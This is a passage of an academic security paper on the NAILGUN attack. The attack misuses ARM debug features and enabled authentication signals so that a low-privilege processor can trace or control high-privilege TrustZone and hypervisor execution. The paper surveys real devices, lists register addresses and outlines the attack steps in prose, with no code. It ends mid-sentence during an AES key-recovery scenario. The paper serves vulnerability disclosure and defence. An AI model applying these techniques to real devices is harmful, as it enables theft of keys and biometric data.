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Abstract—Processors nowadays are consistently equipped with
debugging features to facilitate the program analysis. Specifically,
the ARM debugging architecture involves a series of CoreSight
components and debug registers to aid the system debugging,
and a group of debug authentication signals are designed to
restrict the usage of these components and registers. Meantime,
the security of the debugging features is under-examined since
it normally requires physical access to use these features in the
traditional debugging model. However, ARM introduces a new
debugging model that requires no physical access since ARMv7,
which exacerbates our concern on the security of the debugging
features. In this paper, we perform a comprehensive security
analysis of the ARM debugging features, and summarize the
security and vulnerability implications. To understand the impact
of the implications, we also investigate a series of ARM-based
platforms in different product domains (i.e., development boards,
IoT devices, cloud servers, and mobile devices). We consider the
analysis and investigation expose a new attacking surface that
universally exists in ARM-based platforms. To verify our con-
cern, we further craft NAILGUN attack, which obtains sensitive
information (e.g., AES encryption key and fingerprint image) and
achieves arbitrary payload execution in a high-privilege mode
from a low-privilege mode via misusing the debugging features.
This attack does not rely on software bugs, and our experiments
show that almost all the platforms we investigated are vulnerable
to the attack. The potential mitigations are discussed from
different perspectives in the ARM ecosystem.

I. INTRODUCTION

Most of the processors today utilize a debugging architec-
ture to facilitate the on-chip debugging. For example, the x86
architecture provides six debug registers to support hardware
breakpoints and debug exceptions [32], and the Intel Processor
Trace [33] is a hardware-assisted debugging feature that gar-
ners attention in recent research [65], [73]. The processors with
ARM architecture have both debug and non-debug states, and
a group of debug registers is designed to support the self-host
debugging and external debugging [4], [5]. Meanwhile, ARM
also introduces hardware components, such as the Embedded
Trace Macrocell [9] and Embedded Cross Trigger [8], to
support various hardware-assisted debugging purposes.

Correspondingly, the hardware vendors expose the afore-
mentioned debugging features to an external debugger via on-
chip debugging ports. One of the most well-known debugging
port is the Joint Test Action Group (JTAG) port defined by
IEEE Standard 1149.1 [31], which is designed to support
communication between a debugging target and an external
debugging tool. With the JTAG port and external debugging
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Figure 1: Debug Models in ARM Architecture.

tools (e.g., Intel System Debugger [34], ARM DS-5 [7], and
OpenOCD [53]), developers are able to access the memory
and registers of the target efficiently and conveniently.

To authorize external debugging tools in different us-
age scenarios, ARM designs several authentication signals.
Specifically, four debug authentication signals control whether
the non-invasive debugging or invasive debugging (see Sec-
tion II-B) is prohibited when the target processor is in non-
secure or secure state. For example, once the secure invasive
debugging signal is disabled via the debug authentication
interface, the external debugging tool will not be able to halt
a processor running in the secure state for debugging purpose.
In this management mechanism, the current privilege mode of
the external debugger is ignored.

Although the debugging architecture and authentication
signals have been presented for years, the security of them
is under-examined by the community since it normally re-
quires physical access to use these features in the traditional
debugging model. However, ARM introduces a new debugging
model that requires no physical access since ARMv7 [4]. As
shown in the left side of Figure 1, in the traditional debugging
model, an off-chip debugger connects to an on-chip Debug
Access Port (DAP) via the JTAG interface, and the DAP
further helps the debugger to debug the on-chip processors.
In this model, the off-chip debugger is the debug host, and
the on-chip processors are the debug target. The right side
of Figure 1 presents the new debugging model introduced
since ARMv7. In this model, a memory-mapped interface is
used to map the debug registers into the memory so that the
on-chip processor can also access the DAP. Consequently,



an on-chip processor can act as a debug host and debug
another processor (the debug target) on the same chip; we
refer to this debugging model as the inter-processor debugging
model. Nevertheless, ARM does not provide an upgrade on
the privilege management mechanism for the new debugging
model, and still uses the legacy debug authentication signals
in the inter-processor debugging model, which exacerbates our
concern on the security of the debugging features.

In this paper, we dig into the ARM debugging architecture
to acquire a comprehensive understanding of the debugging
features, and summarize the security implications. We note that
the debug authentication signals only take the privilege mode
of the debug target into account and ignore the privilege mode
of the debug host. It works well in the traditional debugging
model since the debug host is an off-chip debugger in this
model, and the privilege mode of the debug host is not relevant
to the debug target. However, in the inter-processor debugging
model, the debug host and debug target locate at the same
chip and share the same resource (e.g., memory and registers),
and reusing the same debug authentication mechanism leads to
the privilege escalation via misusing the debugging features.
With help of another processor, a low-privilege processor can
obtain arbitrary access to the high-privilege resource such as
code, memory, and registers. Note that the low-privilege in
this paper mainly refers to the kernel-level privilege, while the
high-privilege refers to the secure privilege levels provided by
TrustZone [12] and the hypervisor-level privilege.

This privilege escalation depends on the debug authenti-
cation signals. However, ARM does not provide a standard
mechanism to control these authentication signals, and the
management of these signals highly depends on the System-
on-Chip (SoC) manufacturers. Thus, we further conduct an ex-
tensive survey on the debug authentication signals in different
ARM-based platforms. Specifically, we investigate the default
status and the management mechanism of these signals on the
devices powered by various SoC manufacturers, and the target
devices cover four product domains including development
boards, Internet of Things (IoT) devices, commercial cloud
platforms, and mobile devices.

In our investigation, we find that the debug authentication
signals are fully or partially enabled on the investigated
platforms. Meantime, the management mechanism of these
signals is either undocumented or not fully functional. Based
on this result, we craft a novel attack scenario, which we
call NAILGUN1. NAILGUN works on a processor running in
a low-privilege mode and accesses the high-privilege con-
tent of the system without restriction via the aforementioned
new debugging model. Specifically, with NAILGUN, the low-
privilege processor can trace the high-privilege execution and
even execute arbitrary payload at a high-privilege mode. To
demonstrate our attack, we implement NAILGUN on commer-
cial devices with different SoCs and architectures, and the
experiment results show that NAILGUN is able to break the
privilege isolation enforced by the ARM architecture. Our

1Nailgun is a tool that drives nails through the wall—breaking the isolation

experiment on Huawei Mate 7 also shows that NAILGUN
can leak the fingerprint image stored in TrustZone from the
commercial mobile phones. In addition, we present potential
countermeasures to our attack in different perspectives of the
ARM ecosystem. Note that the debug authentication signals
cannot be simply disabled to avoid the attack, and we will
discuss this in Section VI.

Our findings have been reported to the related hardware
manufacturers including IoT device vendors such as Raspberry
PI Foundation [58], commercial cloud providers such as
miniNode [47], Packet [55], Scaleway [63], and mobile device
vendors such as Motorola [49], Samsung [60], Huawei [27],
Xiaomi [72]. Meanwhile, SoC manufacturers are notified by
their customers (e.g., the mobile device vendors) and working
with us for a practical solution. We have also notified ARM
about the security implications.

The hardware debugging features have been deployed to the
modern processors for years, and not enough attention is paid
to the security of these features since they require physical
access in most cases. However, it turns out to be vulnerable in
our analysis when the multiple-processor systems and inter-
processor debugging model are involved. We consider this
as a typical example in which the deployment of new and
advanced systems impacts the security of a legacy mechanism.
The intention of this paper is to rethink the security design of
the debugging features and motivate the researchers/developers
to draw more attention to the “known-safe” or “assumed-safe”
components in the existing systems.

We consider the contributions of our work as follows:

• We dig into the ARM debugging architecture to acquire a
comprehensive understanding of the debugging features,
and summarize the vulnerability implications. To our best
knowledge, this is the first security study on the ARM
debugging architecture.

• We investigate a series of ARM-based platforms in differ-
ent product domains to examine their security in regard
to the debugging architecture. The result shows that most
of these platforms are vulnerable.

• We expose a potential attack surface that universally
exists in ARM-based devices. It is not related to the
software bugs, but only relies on the ARM debugging
architecture.

• We implement NAILGUN attack and demonstrate the
feasibility of the attack on different ARM architectures
and platforms including 64-bit ARMv8 Juno Board, 32-
bit ARMv8 Raspberry PI 3 Module B+, and ARMv7
Huawei Mate 7. To extend the breadth of the attack,
we design different attacking scenarios based on both
non-invasive and invasive debugging features. With the
experiments, we show that NAILGUN can lead to arbitrary
payload execution in a high-privilege mode and leak sen-
sitive information from Trusted Execution Environments
(TEEs) in commercial mobile phones.

• We propose the countermeasures to our attacks from
different perspectives in the ARM ecosystem.
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Figure 2: Relationships in the ARM Ecosystem.

The rest of the paper is organized as follows. First, we
describe the background in Section II. Next, the security
implications of the debugging architecture are discussed in
Section III. Then, we present our investigation of the debug
authentication signals on real devices in Section IV. Based
on the implications and the investigation, we demonstrate
NAILGUN attack in Section V and discuss the countermeasures
in Section VI. Finally, Section VII concludes the paper.

II. BACKGROUND

A. ARM, SoC Manufacturer, and OEM

Figure 2 shows the relationship among the roles in the ARM
ecosystem. ARM designs SoC infrastructures and processor
architectures as well as implementing processors like the
Cortex series. With the design and licenses from ARM, the
SoC manufacturers, such as Qualcomm, develop chips (e.g.,
Snapdragon series) that integrate ARM’s processor or some
self-designed processors following ARM’s architecture. The
OEMs (e.g., Samsung and Google) acquire these chips from
the SoC manufacturers, and produce devices such as PC and
smartphone for end users.

Note that the roles in the ecosystem may overlap. For
example, ARM develops its own SoC like the Juno boards,
and Samsung also plays a role of the SoC manufacturer and
develops the Exynos SoCs.

B. ARM Debugging Architecture

The ARM architecture defines both invasive and non-
invasive debugging features [4], [5]. The invasive debugging is
defined as a debug process where a processor can be controlled
and observed, whereas the non-invasive debugging involves
observation only without the control. The debugging features
such as breakpoint and software stepping belong to the inva-
sive debugging since they are used to halt the processor and
modify its state, while the debugging features such as tracing
(via the Embedded Trace Macrocell) and monitoring (via the
Performance Monitor Unit) are non-invasive debugging.

The invasive debugging can be performed in two different
modes: the halting-debug mode and the monitor-debug mode.
In the halting-debug mode, the processor halts and enters the
debug state when a debug event (e.g., a hardware breakpoint)
occurs. In the debug state, the processor stops executing the
instruction indicated by the program counter, and a debugger,
either an on-chip component such as another processor or an
off-chip component such as a JTAG debugger, can examine

and modify the processor state via the Debug Access Port
(DAP). In the monitor-debug mode, the processor takes a
debug exception instead of halting when the debug events
occur. A special piece of software, known as a monitor, can
take control and alter the process state accordingly.

C. ARM Debug Authentication Signals

ARM defines four signals for external debug authentication,
i.e., DBGEN, NIDEN, SPIDEN, and SPNIDEN. The DBGEN
signal controls whether the non-secure invasive debug is
allowed in the system. While the signals DBGEN or NIDEN is
high, the non-secure non-invasive debug is enabled. Similarly,
the SPIDEN signal and SPNIDEN signal are used to control
the secure invasive debug and secure non-invasive debug,
respectively. Note that these signals consider only the privilege
mode of the debug target, and the privilege mode of the debug
host is left out.

In the ARM Ecosystem, ARM only designs these signals
but specifies no standard to control these signals. Typically, the
SoC manufacturers are responsible for designing a mechanism
to manage these signals, but the management mechanism
in different SoCs may vary. The OEMs are in charge of
employing the management mechanisms to configure (i.e.,
disable/enable) the authentication signals in their production
devices.

D. ARM CoreSight Architecture

The ARM CoreSight architecture [6] provides solutions for
debugging and tracing of complex SoCs, and ARM designs a
series of hardware components under the CoreSight architec-
ture. In this paper, we mainly use the CoreSight Embedded
Trace Macrocell and the CoreSight Embedded Cross Trigger.

The Embedded Trace Macrocell (ETM) [9] is a non-
invasive debugging component that enables the developer to
trace instruction and data by monitoring instruction and data
buses with a low-performance impact. To avoid the heavy
performance impact, the functionality of the ETM on different
ARM processors varies.

The Embedded Cross Trigger (ECT) [8] consists of Cross
Trigger Interface (CTI) and Cross Trigger Matrix (CTM). It
enables the CoreSight components to broadcast events between
each other. The CTI collects and maps the trigger requests, and
broadcasts them to other interfaces on the ECT subsystem.
The CTM connects to at least two CTIs and other CTMs to
distribute the trigger events among them.

E. ARM Security Extension

The ARM Security Extension [12], known as TrustZone
technology, allows the processor to run in the secure and non-
secure states. The memory is also divided into secure and
non-secure regions so that the secure memory region is only
accessible to the processors running in the secure state.

In ARMv8 architecture [5], the privilege of a processor
depends on its current Exception Level (EL). EL0 is normally
used for user-level applications while EL1 is designed for the
kernel, and EL2 is reserved for the hypervisor. EL3 acts as



a gatekeeper between the secure and non-secure states, and
owns the highest privilege in the system. The switch between
the secure and non-secure states occurs only in EL3.

III. SECURITY IMPLICATIONS OF THE DEBUGGING
ARCHITECTURE

As mentioned in Section II-B, non-invasive debugging and
invasive debugging are available in ARM architecture. In
this section, we carefully investigate the non-invasive and
invasive debugging mechanisms documented in the Technique
Reference Manuals (TRM) [4], [5], and reveal the vulnerability
and security implications indicated by the manual. Note that
we assume the required debug authentication signals are
enabled in this section, and this assumption is proved to
be reasonable and practical in the following Section IV.

A. Non-invasive Debugging
The non-invasive debugging does not allow to halt a pro-

cessor and introspect the state of the processor. Instead, non-
invasive features such as the Performance Monitor Unit (PMU)
and Embedded Trace Macrocell (ETM) are used to count the
processor events and trace the execution, respectively.

In the ARMv8 architecture, the PMU is controlled by a
group of registers that are accessible in non-secure EL1.
However, we find that ARM allows the PMU to monitor the
events fired in EL2 even when the NIDEN signal is disabled 2.
Furthermore, the PMU can monitor the events fired in the
secure state including EL3 with the SPNIDEN signal enabled.
In other words, an application with non-secure EL1 privilege
is able to monitor the events fired in EL2 and the secure
state with help of the debug authentication signals. The TPM
bit of the MDCR register is introduced in ARMv8 to restrict
the access to the PMU registers in low ELs. However, this
restriction is only applied to the system register interface but
not the memory-mapped interface [5].

The ETM traces the instructions and data streams of a target
processor with a group of configuration registers. Similar to the
PMU, the ETM is able to trace the execution of the non-secure
state (including EL2) and the secure state with the NIDEN and
SPNIDEN signals, respectively. However, it only requires non-
secure EL1 to access the configuration registers of the ETM.
Similar to the aforementioned restriction on the access to the
PMU registers, the hardware-based protection enforced by the
TTA bit of the CPTR register is also applied to only the system
register interface [5].

In conclusion, the non-invasive debugging feature allows the
application with a low privilege to learn information about the
high-privilege execution.

Implication 1: An application in the low-privilege
mode is able to learn information about the high-
privilege execution via PMU and ETM.

B. Invasive Debugging
The invasive debugging allows an external debugger to halt

the target processor and access the resources on the processor

2In ARMv7, NIDEN is required to make PMU monitor the events in non-
secure state.
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via the debugging architecture. Figure 3 shows a typical inva-
sive debugging model. In the scenario of invasive debugging,
we have an external debugger (HOST) and the debug target
processor (TARGET). To start the debugging, the HOST sends
a debug request to the TARGET via the ECT. Once the
request is handled, the communication between the HOST and
TARGET is achieved via the instruction transferring and data
communication channel (detailed in Section III-B2) provided
by the debugging architecture. Finally, the restart request is
used to end the debugging session. In this model, since the
HOST is always considered as an external debugging device or
a tool connected via the JTAG port, we normally consider it re-
quires physical access to debug the TARGET. However, ARM
introduces an inter-processor debugging model that allows an
on-chip processor to debug another processor on the same
chip without any physical access or JTAG connection since
ARMv7. Furthermore, the legacy debug authentication signals,
which only consider the privilege mode of the TARGET but
ignore the privilege mode of the HOST, are used to conduct the
privilege control of the inter-processor debugging model. In
this section, we discuss the security implications of the inter-
processor debugging under the legacy debug authentication
mechanism.

1) Entering and Existing Debug State: To achieve the
invasive debugging in the TARGET, we need to make the
TARGET run in the debug state. The processor running in the
debug state is controlled via the external debug interface, and it
stops executing instructions from the location indicated by the
program counter. There are two typical approaches to make a
processor enter the debug state: executing an HLT instruction
on the processor or sending an external debug request via the
ECT.

The HLT instruction is widely used as a software breakpoint,
and executing an HLT instruction directly causes the processor
to halt and enter the debug state. A more general approach to
enter the debug state is to send an external debug request via
the ECT. Each processor in a multiple-processor system is
embedded with a separated CTI (i.e., interface to ECT), and
the memory-mapped interface makes the CTI on a processor
available to other processors. Thus, the HOST can leverage the
CTI of the TARGET to send the external debug request and
make the TARGET enter the debug state. Similarly, a restart
request can be used to exit the debug state.

However, the external debug request does not take the
privilege of the HOST into consideration; this design allows
a low-privilege processor to make a high-privilege processor



enter the debug state. For example, a HOST running in non-
secure state can make a TARGET running in secure state enter
the debug state with the SPIDEN enabled. Similarly, a HOST
in non-secure EL1 can halt a TARGET in EL2 with the DBGEN
enabled.

Implication 2: A low-privilege processor can make an
arbitrary processor (even a high-privilege processor)
enter the debug state via ECT.

2) Debug Instruction Transfer/Communication: Although
the normal execution of a TARGET is suspended after entering
the debug state, the External Debug Instruction Transfer Regis-
ter (EDITR) enables the TARGET to execute instructions in the
debug state. Each processor owns a separated EDITR register,
and writing an instruction (except for special instructions like
branch instructions) to this register when the processor is in
the debug state makes the processor execute it.

Meantime, the Debug Communication Channel (DCC) en-
ables data transferring between a HOST in the normal state and
a TARGET in the debug state. In ARMv8 architecture, three
registers exist in the DCC. The 32-bit DBGDTRTX register is
used to transfer data from the TARGET to the HOST, while
the 32-bit DBGDTRRX register is used to receive data from the
HOST. Moreover, the 64-bit DBGDTR register is available to
transfer data in both directions with a single register.

We note that the execution of the instruction in the EDITR
register only depends on the privilege of the TARGET and
ignores the privilege of the HOST, which actually allows a
low-privilege processor to access the high-privilege resource
via the inter-processor debugging. Assume that the TARGET
is running in the secure state and the HOST is running in the
non-secure state, the HOST is able to ask the TARGET to read
the secure memory via the EDITR register and further acquire
the result via the DBGDTRTX register.

Implication 3: In the inter-processor debugging, the
instruction execution and resource access in the
TARGET does not take the privilege of the HOST into
account.

3) Privilege Escalation: The Implication 2 and Implication
3 indicate that a low-privilege HOST can access the high-
privilege resource via a high-privilege TARGET. However, if
the TARGET remains in a low-privilege mode, the access to
the high-privilege resource is still restricted. ARM offers an
easy way to escalate privilege in the debug state. The dcps1,
dcps2, and dcps3 instructions, which are only available
in debug state, can directly promote the exception level of
a processor to EL1, EL2, and EL3, respectively.

The execution of the dcps instructions has no privilege
restriction, i.e., they can be executed at any exception level
regardless of the secure or non-secure state. This design
enables a processor running in the debug state to achieve an
arbitrary privilege without any restriction.

Implication 4: The privilege escalation instructions
enable a processor running in the debug state to gain
a high privilege without any restriction.
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C. Summary

Both the non-invasive and invasive debug involve the design
that allows an external debugger to access the high-privilege
resource while certain debug authentication signals are en-
abled, and the privilege mode of the debugger is ignored. In the
traditional debugging model that the HOST is off-chip, this is
reasonable since the privilege mode of the off-chip platform is
not relevant to that of the on-chip platform where the TARGET
locates. However, since ARM allows an on-chip processor
to act as an external debugger, simply reusing the rules of
the debug authentication signals in the traditional debugging
model makes the on-chip platform vulnerable.
Non-invasive Debugging: Figure 4 shows an idea of violating
the privilege isolation via the non-invasive debugging. The
execution of a single processor is divided into different priv-
ilege modes, and isolations are enforced to protect the sen-
sitive computation in the high-privilege modes from the low-
privilege applications. However, a low-privilege application is
able to violate this isolation with some simple steps according
to Implication 1. Step À in Figure 4 enables the ETM trace
from the low-privilege application to prepare for the violation.
Next, we trigger the sensitive computation to switch the
processor to a high-privilege mode in step Á. Since the ETM
is enabled in step À, the information about the sensitive
computation in step Â is recorded. Once the computation is
finished, the processor returns to a low-privilege mode and the
low-privilege application disables the trace in step Ã. Finally,
the information about the sensitive computation is revealed via
analyzing the trace output in step Ä.
Invasive Debugging: In regard to the invasive debugging, the
Implications 2-4 are unneglectable in the inter-processor de-
bugging model since the HOST and TARGET work in the same
platform and share the same resource (e.g., memory, disk,
peripheral, and etc.). As described in Figure 5(a), the system
consists of the high-privilege resource, the low-privilege re-
source, and a dual-core cluster. By default, the two processors
in the cluster can only access the low-privilege resource. To
achieve the access to the high-privilege resource, the processor
A acts as an external debugger and sends a debug request to
the processor B. In Figure 5(b), the processor B enters the
debug state due to the request as described in Implication
2. However, neither of the processors is able to access the
high-privilege resource since both of them are still running
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in the low-privilege mode. Next, as shown in Figure 5(c),
the processor A makes the processor B execute a privilege
escalation instruction. The processor B then enters the high-
privilege mode and gains access to the high-privilege resource
according to Implication 4. At this moment, accessing the
high-privilege resource from the processor A is still forbidden.
Finally, since the processor A is capable of acquiring data from
the processor B and the processor B can directly access the
high-privilege resource, as indicated by Implication 3, the low-
privilege processor A actually gains an indirect access to the
high-privilege resource as shown in Figure 5(d).

Unlike the traditional debugging model, the non-invasive
debugging in Figure 4 and invasive debugging in Figure 5
require no physical access or JTAG connection.

IV. DEBUG AUTHENTICATION SIGNALS IN REAL-WORLD
DEVICES

The aforementioned isolation violation and privilege esca-
lation occur only when certain debug authentication signals
are enabled. Thus, the status of these signals is critical to
the security of the real-world devices, which leads us to
perform an investigation on the default status of the debug
authentication signals in real-world devices. Moreover, we are
also interested in the management mechanism of the debug
authentication signals deployed on the real-world devices since
the mechanism may be used to change the status of the
signals at runtime. Furthermore, as this status and management
mechanism highly depend on the SoC manufacturers and the
OEMs, we select various devices powered by different SoCs
and OEMs as the investigation target. To be comprehensive,
we also survey the devices applied in different product do-
mains including development boards, Internet of Things (IoT)
devices, commercial cloud platforms, and mobile devices. We
discuss our choices on the target devices in Section IV-A, and
present the results of the investigation in Section IV-B and
Section IV-C.

A. Target Devices

1) Development Boards:

The ARM-based development boards are broadly used to
build security-related analysis systems [15], [25], [28], [68],

[77]. However, the security of the development board itself
is not well-studied. Therefore, we select the widely used
development board [15], [68], [77], i.MX53 Quick Start Board
(QSB) [52], as our analysis object. As a comparison, the
official Juno Board [10] released by ARM is also studied in
this paper.
2) IoT Devices:

The low power consumption makes the ARM architecture
to be a natural choice for the Internet of Things (IoT) devices.
Many traditional hardware vendors start to provide the ARM-
based smart home solutions [3], [46], [59], and experienced
developers even build their own low-cost solutions based on
cheap SoCs [26]. As a typical example, the Raspberry PI
3 [58], over 9, 000, 000 units of which have been sold till
March 2018 [57], is selected as our target.
3) Commercial Cloud Platforms:

The Cloud Computing area is dominated by the x86 archi-
tecture, however, the benefit of the high-throughput computing
in ARM architecture starts to gain the attention of big cloud
providers including Microsoft [70]. Although most of the
ARM-based cloud servers are still in test, we use the publicly
available ones including miniNodes [47], Packet [55], and
Scaleway [63] to conduct our analysis.
4) Mobile Devices:

Currently, most mobile devices in the market are powered
by ARM architecture, and the mobile device vendors build
their devices based on the SoCs provided by various SoC
manufacturers. For example, Huawei and Samsung design
Kirin [27] and Exynos [60] SoCs for their own mobile devices,
respectively. Meantime, Qualcomm [56] and MediaTek [45]
provide SoCs for various mobile device vendors [48], [49],
[72]. Considering both the market share of the mobile ven-
dors [67] and the variety of the SoCs, we select Google Nexus
6, Samsung Galaxy Note 2, Huawei Mate 7, Motorola E4 Plus,
and Xiaomi Redmi 6 as our analysis targets.

B. Status of the Authentication Signals

The Debug Authentication Status Register (DBGAUTHS-
TATUS) is a read-only register that is accessible in EL1,
and the bits[0:7] of this register reflect the status of the



Table I: Debug Authentication Signals on Real Devices.

Category Company Platform / Device
SoC Debug Authentication Signals

Company Name DBGEN NIDEN SPIDEN SPNIDEN

Development
Boards

ARM Juno r1 Board ARM Juno 4 4 4 4

NXP i.MX53 QSB NXP i.MX53 6 4 6 6

IoT Devices Raspberry PI Raspberry PI 3 B+ Broadcom BCM2837 4 4 4 4

Commercial Cloud
Platforms

miniNodes 64-bit ARM miniNode Huawei Kirin 620 4 4 4 4

Packet Type 2A Server Cavium ThunderX 4 4 4 4

Scaleway ARM C1 Server Marvell Armada 370/XP 4 4 4 4

Google Nexus 6 Qualcomm Snapdragon 805 6 4 6 6

Samsung Galaxy Note 2 Samsung Exynos 4412 4 4 6 6

Mobile
Devices Huawei Mate 7 Huawei Kirin 925 4 4 4 4

Motorola E4 Plus MediaTek MT 6737 4 4 4 4

Xiaomi Redmi 6 MediaTek MT 6762 4 4 4 4

authentication signals. For the target devices, we build a
Loadable Kernel Module (LKM) to read the status of the
debug authentication signals via this register. However, some
stock ROMs in the mobile devices forbid the load of LKM.
In that case, we obtain the kernel source code of the stock
ROM and recompile a kernel image with LKM enabled option.
The recompiled image is then flashed back to the device to
conduct the investigation. Note that we make no change to
other functionalities in the kernel, and the kernel replacement
does not affect the status of the authentication signals.

Table I summarizes the default status of the debug au-
thentication signals in the tested devices. On the Juno board,
which is designed only for development purpose, the debug
authentication signals are all enabled by default. However,
we are surprised to find that all the debug authentication
signals are enabled by default on the commercial devices
like Raspberry PI 3 Model B+, Huawei Mate 7, Motorola
E4 Plus, and Xiaomi Redmi. Moreover, all the investigated
cloud platforms also enable all these signals. The results on
other platforms show that the debug authentication signals are
partially enabled by default in the tested mobile devices.

For the mobile phones that enable SPNIDEN and SPIDEN,
we also investigate the usage of the TrustZone on these
devices. According to [2], [24], [62], the Huawei Mate 7,
Motorola E4 Plus and Xiaomi Redmi 6 leverage TrustZone to
enforce a hardware-level protection on the collected fingerprint
image. By manually introspect the binary image of the TEE
in Huawei Mate 7, we also find that there exists an encryption
engine inside the TEE. The TEE image of Motorola E4
Plus and Xiaomi Redmi 6 indicate that both of them use
ARM Trusted Firmware (ATF) [11] as the TEE OS. The ATF
provides support for both trusted boot and trusted apps, and we
also find a potential secure patching module in these binaries.
In the TEE image of Xiaomi Redmi 6, we identify a large
array with pairs of file names and 128-bit checksums, which
may be used to verify the integrity of the system files.

C. Management of the Authentication Signals

To understand the deployed signal management mechanism,
we collect information from the publicly available TRMs
and the source code released by the hardware vendors. The
signal management mechanism on Juno board and i.MX53
QSB is partially documented in the TRMs, and we have also
identified some potential-related code in the kernel source code
of Motorola Nexus 6 and Huawei Mate 7. In regard to the
other platforms, the signal management mechanism cannot
be identified from the publicly available TRMs and released
source code.

1) What we learned from the TRMs:

NXP i.MX53 Quick Start Board (QSB). According to
the publicly available TRM of i.MX53 SoC [51], the DBGEN
signal is controlled by the DBGEN bit of the ARM_GPC register
located at memory address 0x63FA0004, and no privilege
requirement is specified for the access to this register. The
management of other debug authentication signals is not doc-
umented. In the further experiment, we find that the SPIDEN
and SPNIDEN signals can be controlled via the JTAG port.
Once we use the JTAG to connect to the board via additional
debugging software (ARM DS-5 [7] or OpenOCD [53]), the
SPIDEN and SPNIDEN signals are directly enabled. Note that
this mechanism actually breaks ARM’s design purpose since
it allows a debugger to enable the debug authentication signals
which are design to restrict the usage of the debugger.

ARM Juno r1 Board. As an official development platform
released by ARM, the management mechanism of the debug
authentication signals is well-documented in the TRM of Juno
Board [10]. Developers can control the signal via the debug
authentication register in the System Configuration Controller
(SCC) or the System Security Control (SSC) registers. The
SCC is actually managed by a text file in a configuration Mir-
coSD card and the configurations on the card are loaded by the
motherboard micro-controller firmware during the early board
setup; modification to the text file becomes effective after a
reboot. This configuration MircoSD card is not available to



the on-chip OS and can be mounted to a remote PC via a
dedicated USB cable. In contrast, the SSC registers can be
modified at runtime, and they can only be accessed when the
processor is running in the secure state. In our experiment,
we find that the debug authentication register in the SCC can
only be used to manage the SPIDEN and SPNIDEN signals.
Clearing the bit 0 of the register, which is documented as
“Global External Debug Enable” bit, does not disable any of
the debug authentication signals. Similarly, the SSC registers
can control the status of the SPIDEN and SPNIDEN signals,
but the modification to the DBGEN and NIDEN signals does
not work. Unlike the aforementioned i.MX53 QSB, connecting
to the external debugging software via JTAG will not enable
the SPIDEN and SPNIDEN signals.
2) What we learned from the source code:

Motorola Nexus 6. We check the kernel source code for
Motorola Nexus 6 provided by Android Open Source Project
(AOSP) and find that the debug authentication signals are
controlled by a CoreSight fuse [64] at address 0xFC4BE024.
Since the fuse is considered as a One-Time Programmable
(OTP) device, directly writing to the corresponding memory
fails without providing any error messages.

Huawei Mate 7. The kernel source code for Huawei Mate 7
is released at Huawei Open Source Release Center [30]. From
the source code, we find that the DBGEN signal is controlled
by the register located at address 0xFFF0A82C. However,
directly read/write this register leads to a critical fault that
makes the phone to reboot. We consider that Huawei has
adopted additional protection to prevent the access to this
register for security concerns.

D. Summary

Our investigation shows that the debug authentication sig-
nals are fully or partially enabled on all the tested devices by
default, which makes them vulnerable to the aforementioned
isolation violation and privilege escalation. Moreover, there is
no publicly available management mechanism for these signals
on all tested devices except for development boards, and the
documented management mechanism of development boards
is either incomplete (i.MX53 QSB) or not fully functional
(Juno Board). On the one hand, the unavailable management
mechanism may help to prevent malicious access to the debug
authentication signals. On the other hand, it also stops the user
to disable the debug authentication signals for defense purpose.

V. NAILGUN ATTACK

To verify the security implications concluded in Section III
and the findings about the debug authentication signals de-
scribed in Section IV, we craft an attack named NAILGUN and
implement it in several different platforms. NAILGUN misuses
the non-invasive and invasive debugging features in the ARM
architecture, and gains the access to the high-privilege resource
from a low-privilege mode. To further understand the attack,
we design two attacking scenarios for non-invasive and inva-
sive debugging, respectively. With the non-invasive debugging
feature, NAILGUN is able to infer the AES encryption key,

which is isolated in EL3, via executing an application in
non-secure EL1. In regard to the invasive debugging feature,
NAILGUN demonstrates that an application running in non-
secure EL1 can execute arbitrarily payloads in EL3. To learn
the impact of NAILGUN on real-world devices, we show
that NAILGUN can be used to extract the fingerprint image
protected by TEE in Huawei Mate 7. Similar attacks can be
launched to attack EL2 from EL1. Since there are three major
ARM architectures (i.e., ARMv7, 32-bit ARMv8, and 64-bit
ARMv8), we also implement NAILGUN on these different
architectures and discuss the differences in implementations.

A. Threat Model and Assumptions

In our attack, we make no assumption about the version
or type of the operation system, and do not rely on software
vulnerabilities. In regard to the hardware, NAILGUN is not
restricted to any particular processor or SoC, and is able to
work on various ARM-based platforms. Moreover, physical
access to the platform is not required.

In the non-invasive debugging attack, we assume the
SPNIDEN or NIDEN signal is enabled to attack the secure
state or the non-secure state, respectively. We also make
similar assumptions to the SPIDEN and DBGEN signals in
the invasive debugging attack. We further assume the target
platform is a multi-processor platform in the invasive de-
bugging attack. Moreover, our attack requires access to the
CoreSight components and debug registers, which are typically
mapped to some physical memory regions in the system. Note
that it normally requires non-secure EL1 privilege to map
the CoreSight components and debug registers to the virtual
memory address space.

B. Attack Scenarios

1) Inferring Encryption Key with Non-Invasive Debugging
The AES algorithm has been proved to be vulnerable to

various attacks [35], [36], [41], [42], [43], [69]. The key
vulnerability is the table-lookup based implementation, which
is designed to improve the performance of AES, leaks the
information about the encryption key. With the addresses of
the accessed table entries, the attacker can efficiently rebuild
the encryption key. In this attack, we assume there is a
secure application running in TrustZone that holds the AES
encryption key, and the secure application also provides an
interface to the non-secure OS to encrypt a given plaintext. The
non-secure OS cannot directly read the encryption key since
TrustZone enforces the isolation between the secure and non-
secure states. Our goal is to reveal the encryption key stored
in the secure memory by calling the encryption interface from
the non-secure OS.

The violation of privilege isolation described in Figure 4
enables a non-secure application to learn the information about
the secure execution. Specifically, the ETM instruction trace
aids to rebuild the addresses of the executed instructions while
the ETM data-address trace records the addresses of the data
involved in data processing instructions (e.g., ldr, str, mov,
and etc.). According to the access pattern of the AES, it



Figure 6: Retrieving the AES Encryption Key.

is trivial to learn the instruction-address range that performs
the table lookup and identify the memory addresses of the
tables from the trace output, which further helps to retrieve the
encryption key with the recorded data addresses. Note that the
only information we require is the indices of the table entries
accessed by the AES algorithm. Thus, to simplify the analysis
and reduce the noise, we can use the address range filter in the
ETM to trace only the address range that performs the table
lookup.

To demonstrate the attack, we first build a bare-metal
environment on an NXP i.MX53 Quick Start Board [52]. The
board is integrated with a single Cortex-A8 processor that
enables the data-address trace, and we build our environment
based on an open-source project [75] that enables the switch-
ing and communication between the secure and non-secure
states. Next, we transplant the AES encryption algorithm of
the OpenSSL 1.0.2n [54] to the environment and make it run
in the secure state with a predefined 128-bit key stored in the
secure memory. A non-secure application can request a secure
encryption with an smc instruction and a plaintext pointer in
register r0.

Figure 6 demonstrates our attack process. We use a random
128-bit input as the plaintext of the encryption in À and the
corresponding ciphertext is recorded in Á. From the ETM trace
